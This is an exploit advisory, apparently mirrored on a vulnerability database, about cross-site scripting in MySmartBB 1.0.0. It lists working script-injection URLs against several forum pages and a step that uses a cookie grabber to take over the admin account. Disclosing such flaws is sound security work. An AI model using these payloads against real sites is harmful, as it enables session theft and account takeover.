Lucene search
K

MySmartBB v1.0.0 Cross Site Scripting Vulnerability

🗓️ 24 Feb 2010 00:00:00Reported by indoushkaType 
zdt
 zdt
🔗 0day.today👁 27 Views

MySmartBB v1.0.0 Cross Site Scripting Vulnerability described with exploit detail

Code
===================================================
MySmartBB v1.0.0 Cross Site Scripting Vulnerability
===================================================

========================================================================================                 
| # Title    : MySmartBB 1.0.0 Cross Site Scripting in URI Vulnerability     
| # Author   : indoushka        
| # Tested on: windows SP2 Fran?ais V.(Pnx2 2.0) + Lunix Fran?ais v.(9.4 Ubuntu)      
| # Bug      : XSS                                                                    
======================      Exploit By indoushka       =================================
 # Exploit  :
  
Cross Site Scripting in URI
  
Vulnerability description
 
This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.
 
Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.
 
This XSS variant usually appears when a PHP script is using one of following variables without filtering them:
 
PHP_SELF
REQUEST_URI
SCRIPT_URL
SCRIPT_URI
 
Those variables are set either by Apache or the PHP engine. Apache is automatically ignoring anything in the URI after the .php extension for mapping script filename, but these variables are containing the full URI.
This vulnerability affects /MySBB/misc.php.
The impact of this vulnerability
Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.
 
Attack details
 
1- http://127.0.0.1/MySBB/register.php?index=1
 
2- http://127.0.0.1/MySBB/usercp.php?cp=1&sig=1&main=1 (test isi it infected by XSS use this cod: <ScRiPt>alert(213771818860)</ScRiPt> in the box)
 
3- http://127.0.0.1/MySBB/misc.php?profile=1&id=2 (to confirm is it infected)
 
4- send a msg to admin and use cookie graber 2 get the pass to login
 
http://127.0.0.1/MySBB/misc.php/>'><ScRiPt>alert(469588561854)</ScRiPt>
 
http://127.0.0.1/MySBB/index.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
 
http://127.0.0.1/memberlist.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
 
http://127.0.0.1/MySBB/new.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
 
http://127.0.0.1/MySBB/pm.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
 
http://127.0.0.1/MySBB/register.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
 
http://127.0.0.1/MySBB/search.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
 
How to fix this vulnerability
 
Your script should filter metacharacters from user input.



#  0day.today [2018-02-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Feb 2010 00:00Current
7.1High risk
Vulners AI Score7.1
27